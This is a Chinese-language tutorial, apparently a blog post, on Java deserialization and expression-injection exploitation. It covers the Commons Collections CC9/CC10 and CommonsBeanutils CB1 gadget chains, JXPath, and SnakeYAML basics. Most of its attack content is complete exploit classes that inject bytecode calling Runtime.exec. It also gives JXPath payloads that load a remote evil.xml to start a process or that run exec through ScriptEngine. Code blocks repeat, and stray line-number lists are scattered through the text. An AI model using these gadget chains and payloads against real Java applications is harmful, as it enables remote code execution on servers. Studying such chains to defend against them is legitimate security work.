Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(outerMap, TrAXFilter.class);

Hashtable table = new Hashtable();
table.put(entry, "foo");
outerMap.clear();

setFieldValue(outerMap, "factory", new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));

return table;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections9 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(outerMap, TrAXFilter.class);

Hashtable table = new Hashtable();
table.put(entry, "foo");
outerMap.clear();

setFieldValue(outerMap, "factory", new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));

return table;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

CC10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
at java.lang.reflect.Constructor.newInstance(Constructor.java:422)
at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116)
at org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32)
at org.apache.commons.collections4.map.LazyMap.get(LazyMap.java:165)
at org.apache.commons.collections4.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:73)
at org.apache.commons.collections4.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:122)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at java.util.HashSet.readObject(HashSet.java:334)

原理分析(HashSet→TiedMapEntry→LazyMap)

在 CC6 的基础上把 HashMap 替换为 HashSet

利用代码(CC3/CC4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections10 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(outerMap, TrAXFilter.class);

HashSet set = new HashSet();
set.add(entry);
outerMap.clear();

setFieldValue(outerMap, "factory", new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));

return set;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.*;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.util.*;
import java.lang.reflect.Field;

public class CommonsCollections10 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map innerMap = new HashMap();
Map outerMap = LazyMap.lazyMap(innerMap, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(outerMap, TrAXFilter.class);

HashSet set = new HashSet();
set.add(entry);
outerMap.clear();

setFieldValue(outerMap, "factory", new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));

return set;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

CommonsBeanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为 JavaBean)的一些操作方法。

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty,让使用者可以直接调用任意 JavaBean 的 getter 方法。例如下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.beanutils.PropertyUtils;

public class Example {
public static void main(String[] args) throws Exception {
Bean bean = new Bean();
PropertyUtils.setProperty(bean, "name", "Alice");
String name = (String) PropertyUtils.getProperty(bean, "name");
System.out.println("Name: " + name);
}
}

class Bean {
private String name;

public String getName() { return name; }
public void setName(String name) { this.name = name; }
}

在执行 PropertyUtils.getProperty(bean, "name") 时,commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 bb 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。

通过这个方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。

当然,commons-beanutils 中诸如此类的辅助方法还有很多,如调用 setter、拷贝属性等,这里不再细说。

CB1

1
2
3
4
5
6
7
8
9
10
11
12
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:185)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:414)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:451)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
...
at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:157)
at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
at java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
at java.util.PriorityQueue.heapify(PriorityQueue.java:736)
at java.util.PriorityQueue.readObject(PriorityQueue.java:795)

原理分析

commons-beanutils 的 org.apache.commons.beanutils.BeanComparator 实现了 java.util 接口,它的 compare 方法会对待比较对象调用 PropertyUtils.getProperty 方法获取 property 属性。而 TemplatesImpl#getOutputProperties 可以触发字节码加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public int compare( Object o1, Object o2 ) {

if ( property == null ) {
return comparator.compare( o1, o2 );
}

try {
// ✅ property 设置为 "outputProperties"
// o1, o2 为 PriorityQueue 中的 TemplatesImpl
// 则 PropertyUtils.getProperty( o1, property ) => TemplatesImpl.getOutputProperties()
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
// [...]
}

因此我们可以借鉴 CC2 的思路在 PriorityQueue 中放两个 TemplatesImpl 并且设置 comparatorBeanComparator 来触发 BeanComparator#compare 方法调用。

此时如果我们设置 BeanComparatorproperty 属性为 outputProperties 则在反序列化触发 BeanComparator#compare 时会通过 PropertyUtils.getProperty 调用到 TemplatesImpl#getOutputProperties 进而实现任意字节码加载。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1 {

public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
setFieldValue(queue, "size", 2);

return queue;
}

public static byte[] getPayload(String cmd) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(cmd));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");

ctClass.getClassFile().setMajorVersion(49);
ctClass.makeClassInitializer()
.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");

CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

return ctClass.toBytecode();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

这里需要注意 BeanComparator 的构造方法有两个,如果没有指定 Comparator 默认会使用 org.apache.commons.collections.comparators.ComparableComparator。这样改利用链会依赖于 commons-collections 库。

1
2
3
4
5
6
7
8
9
10
11
12
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}

public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}

为了避免这种依赖关系从而提高利用链的通用性,我们需要找到一个类来替换 ComparableComparator,它需要满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro 或 commons-beanutils 自带,且兼容性强。

实际上有很多类都满足这个条件,这里我选择的是 CaseInsensitiveComparator,可以通过 String.CASE_INSENSITIVE_ORDER 获取。

在这里插入图片描述

或者干脆直接反射将 comparator 设置为 null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static Object getObject(String cmd) throws Exception {
byte[] code = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator(null);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(comparator, "comparator", null); // 👈 将 comparator 置空
setFieldValue(queue, "queue", new Object[]{templates, templates});
setFieldValue(queue, "size", 2);

return queue;
}

Jxpath

Xpath 是一门在 XML 文档中查找信息的语言,JXpath 是 Xpath 的 Java 实现。

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>commons-jxpath</groupId>
<artifactId>commons-jxpath</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>

JXpath 除了 XPath 函数,还支持联通 Java 的扩展函数

  • 构造器调用
  • 静态方法调用
  • 普通方法调用

基本使用

例如我们定义一个 Dog 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example;

public class Dog {
public String name; // 演示用:可直接访问字段
private Integer age;

public Dog(String name, Integer age) {
System.out.println("Constructor Called");
this.name = name;
this.age = age;
}

// ---- 静态方法 ----
public static String sayHello(String who) {
return "Hello, " + who + "!";
}

// ---- 实例方法 ----
public String greet(String who) {
return "woof " + who + ", I'm " + name + " (" + age + ")";
}

public String getName() { return name; }
public void setName(String n) { this.name = n; }
public Integer getAge() { return age; }
public void setAge(Integer a) { this.age = a; }

@Override public String toString() {
return "dog{name='" + name + "', age=" + age + "}";
}
}

通过 Jxpath 我们可以创建 Dog 实例,调用静态和普通方法,以及获取和修改属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example;

import org.apache.commons.jxpath.ClassFunctions;
import org.apache.commons.jxpath.Functions;
import org.apache.commons.jxpath.JXPathContext;

public class JxpathTest {
public static void main(String[] args) {
// 根为 null:用来做构造器/静态方法/扩展函数解析
JXPathContext ctx = JXPathContext.newContext(null);

// 1) 构造器调用
String ctorExpr = "com.example.Dog.new('taco', 18)";
Dog dog = (Dog) ctx.getValue(ctorExpr);
System.out.println("[ctor] => " + dog);

// 2) 静态方法调用
String staticExpr = "com.example.Dog.sayHello('world')";
String hello = (String) ctx.getValue(staticExpr);
System.out.println("[static] => " + hello);

// 3) ——【关键】注册扩展函数,并把实例放到变量里——
Functions funcs = new ClassFunctions(Dog.class, "Dog");
ctx.setFunctions(funcs);
ctx.getVariables().declareVariable("d", dog);

// 3.1 现在用扩展函数语法调用“实例方法”:Dog:greet($d, ...)
String greet = (String) ctx.getValue("Dog:greet($d, 'human')");
System.out.println("[method] greet => " + greet);

// 4) bean 语义的属性读写还是在“以 dog 为根”的上下文里做
JXPathContext onDog = JXPathContext.newContext(dog);

String name = (String) onDog.getValue("name");
Integer age = (Integer) onDog.getValue("age");
System.out.println("[getter] name=" + name + ", age=" + age);

onDog.setValue("name", "dog");
onDog.setValue("age", 8);
System.out.println("[setter] => " + dog);
}
}

源码分析

org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue 函数实现方法调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Object computeValue(EvalContext context) {
Object[] parameters = null;
if (args != null) {
parameters = new Object[args.length];
for (int i = 0; i < args.length; i++) {
parameters[i] = convert(args[i].compute(context));
}
}

Function function =
context.getRootContext().getFunction(functionName, parameters);
if (function == null) {
throw new JXPathFunctionNotFoundException("No such function: "
+ functionName + Arrays.asList(parameters));
}
Object result = function.invoke(context, parameters);
return result instanceof NodeSet ? new NodeSetContext(context,
(NodeSet) result) : result;
}

其中函数获取有如下调用栈:

1
2
3
4
5
at org.apache.commons.jxpath.PackageFunctions.getFunction(PackageFunctions.java:118)
at org.apache.commons.jxpath.ri.JXPathContextReferenceImpl.getFunction(JXPathContextReferenceImpl.java:753)
at org.apache.commons.jxpath.ri.axes.RootContext.getFunction(RootContext.java:140)
at org.apache.commons.jxpath.ri.compiler.ExtensionFunction.computeValue(ExtensionFunction.java:96)
at org.apache.commons.jxpath.ri.JXPathContextReferenceImpl.getValue(JXPathContextReferenceImpl.java:353)

最终在 org.apache.commons.jxpath.PackageFunctions#getFunction 通过类名,方法名,参数类型定位到方法:

1
2
3
4
5
Method method =
MethodLookupUtils.lookupMethod(
target.getClass(),
name,
parameters);

根据方法名返回 ConstructorFunctionMethodFunction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (methodName.equals("new")) {
Constructor constructor =
MethodLookupUtils.lookupConstructor(functionClass, parameters);
if (constructor != null) {
return new ConstructorFunction(constructor);
}
}
else {
Method method =
MethodLookupUtils.lookupStaticMethod(
functionClass,
methodName,
parameters);
if (method != null) {
return new MethodFunction(method);
}
}

利用方法

构造器利用

Spring 当中有两个类的构造函数远程加载配置,可以构成 RCE。

1
2
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
1
2
3
4
5
6
7
8
9
10
11
12
13
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
1
2
3
JXPathContext context = JXPathContext.newContext(null);
String code = "org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8888/evil.xml\")";
context.getValue(code);

静态方法利用

  • javax.naming.InitialContext#doLookup

    1
    2
    3
    4
    public static <T> T doLookup(Name name)
    throws NamingException {
    return (T) (new InitialContext()).lookup(name);
    }
  • java.sql.DriverManager#getConnection

    JDBC Attack

  • com.alibaba.fastjson.JSON#parseObject

    注意这里外边传参要用单引号,json字符串和外边传参都用双引号会解析错误

普通方法调用

1
2
exec(java.lang.Runtime.getRuntime(),'calc')
eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.lang.Runtime.getRuntime().exec(\"calc\")')

SnakeYaml

SnakeYAML 是一个 Java 的 YAML 解析与生成库org.yaml:snakeyaml)。它可以将 YAML 文本和 Java 对象相互转换,常用于读取配置、序列化/反序列化等。默认实现兼容 YAML 1.1;另有项目 snakeyaml-engine 支持 YAML 1.2。

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

SnakeYAML 核心提供两个功能:

  • 反序列化(Load): YAML文本 → Java对象(Map/List/POJO)
  • 序列化(Dump): Java对象 → YAML文本

基本使用

先定义 POJO:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class User {
public String name;
private int age;

User(String name, int age) {
this.name = name;
this.age = age;
}

User() { }

// getter/setter 必须有!
public String getName() { return name; }
public void setName(String name) { this.name = name; }

public int getAge() { return age; }
public void setAge(int age) { this.age = age; }

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

Java对象 → YAML字符串

下面的示例代码使用 SnakeYaml 将一个 Java POJO 转换为 YAML 字符串。

1
2
3
4
5
6
Yaml yaml = new Yaml();
User user = new User("李四", 30);

String yamlOutput = yaml.dump(user);
System.out.println(yamlOutput);
// !!User {age: 30, name: 李四}

观察上述代码的输出内容,我们发现序列化结果的格式与我们常见的 Yaml 文件格式不同,而是有点类似 Json 的语法。这是因为 Yaml 语法格式有块风格(block style)映射流风格(flow style)映射两种,这里属于流风格

YAML 用三种“节点”表达数据结构:

  • 标量(scalar):字符串、数字等原子值
  • 序列(sequence):有序列表
  • 映射(mapping):键值对集合(键值对顺序不一定保证,但键必须唯一

为了组织这三种节点,Yaml 有两种不同的写法:

  • 块风格(block style)映射:用换行 + 缩进区分层级。

    1
    2
    3
    person:
    name: 张三
    age: 25
    • 行首缩进只能用空格不能用 Tab;同级缩进要一致。
    • 键和值之间通常写 key: value(有一个空格)。
  • 流风格(flow style)映射:用花括号 {} 包围、用 逗号 , 分隔键值对,和 JSON 很像。YAML 1.2 的目标之一是让 JSON 成为它的子集,几乎所有 JSON 都是合法 YAML。

    1
    { person: { name: 张三, age: 25 }, tags: [dev, ops] }
    • 映射{ ... }序列[ ... ];元素之间用 逗号 , 分隔。
    • 流风格里,如果键是 JSON 样式的(如带引号),冒号后可不留空格(不建议,影响可读性)。

!!User 也就是 !!TYAML 的“类型标签(tag)”语法,用来显式标注一个节点的类型

YAML 里每个节点(标量/序列/映射)都有一个标签表示类型。

  • 42 会被推断成 !!int
  • "hello" 会被推断成 !!str
  • {k: v} 会被推断成 !!map

在 YAML 1.1 里,!! 是“主标签句柄(primary tag handle)”,等价于前缀 tag:yaml.org,2002:,所以:

  • !!int "42"!<tag:yaml.org,2002:int> "42"
  • !!str hello!<tag:yaml.org,2002:str> hello

类型命名空间前缀用的是 Tag URI 方案(见 RFC 4151),通用格式是:tag:<authority>,<date>:<specific>

tag:yaml.org,2002: 是 YAML 规范定义的一段“类型命名空间前缀”(Tag URI)。它不是网页链接,而是一个标识符前缀,用来给 YAML 里的内置类型(字符串、整数、映射、序列等)起全局唯一的名字。这里 yaml.org 是命名主体,2002登记年份(不是版本号),后面跟具体类型名,比如:

  • tag:yaml.org,2002:int → 整数
  • tag:yaml.org,2002:str → 字符串
  • tag:yaml.org,2002:map → 映射(对象/字典)
  • tag:yaml.org,2002:seq → 序列(数组/列表)

在序列化过程中,SnakeYAML 会:

  1. 首先静态类型的属性不会参与序列化。

  2. 对于 public 类型的属性,直接通过反射取值

  3. 如果是非 public 类型的属性,必须满足才会调用对应的 getter 方法取值,并且无论 getter 返回的是不是对应属性的值都以 getter 的结果为准。

    1. 有对应的 getter 和 setter 方法;
    2. getter 和 setter 必须是 public 类型;
    3. getter 的返回值类型和 setter 的参数类型必须与属性一致。

YAML → 强类型对象

加载 YAML 为 Java 对象:

1
2
3
4
Yaml yaml = new Yaml();
User user = yaml.load("!!User {name: 张三, age: 25}");

System.out.println(user);

!!User {name: 张三, age: 25} 中的 !!User显式告诉解析器:这个映射应按 User 类型处理。如果没有显式标签则会被反序列化为 java.util.LinkedHashMap 类型对象。

注意

YAML 的类型标签(tag)与后面实际的键值对必须有空格,否则会报错:

1
2
3
4
Exception in thread "main" while scanning a tag
in 'string', line 1, column 1:
!!User{name: 张三, age: 25}
^

SnakeYAML 还额外约定:如果标签看起来像一个 Java 类名(例如 !!com.example.User!!User),它会尝试用这个类来构造对象。因此整个反序列化过程为:

  1. 首先调用类的无参构造函数实例化一个对象,如果找不到无参构造函数就会抛出如下异常:

    NoSuchMethodException: User.()
    Can’t construct a java object for tag:yaml.org,2002:User

  2. 如果属性是 public 且不是 static 变量,则直接通过反射赋值。这里如果是 static 变量则会有如下报错:

    Exception in thread “main” Cannot create property=age for JavaBean=User{name=’张三’, age=0}

  3. 否则寻找对应的 setter 函数赋值,如果找不到会抛出如下异常:

    Exception in thread “main” Cannot create property=age for JavaBean=User{name=’张三’, age=0}

    到这一步不会跟之前一样关心:getter 和 setter 齐全;属性是否是 static,只要能找到单个参数的 public 类型的 setter 且类型匹配就会调用赋值。

当写成 !!User [张三, 25]标签 + 序列)时,SnakeYAML 会把序列元素先构造成 Java 值,然后按参数个数与类型去找构造方法(如 User(String,int))。如果找不到对应的有参构造函数会抛出如下异常:

Exception in thread “main” Can’t construct a java object for tag:yaml.org,2002:User; exception=No suitable constructor with 2 arguments found for class User

利用方法

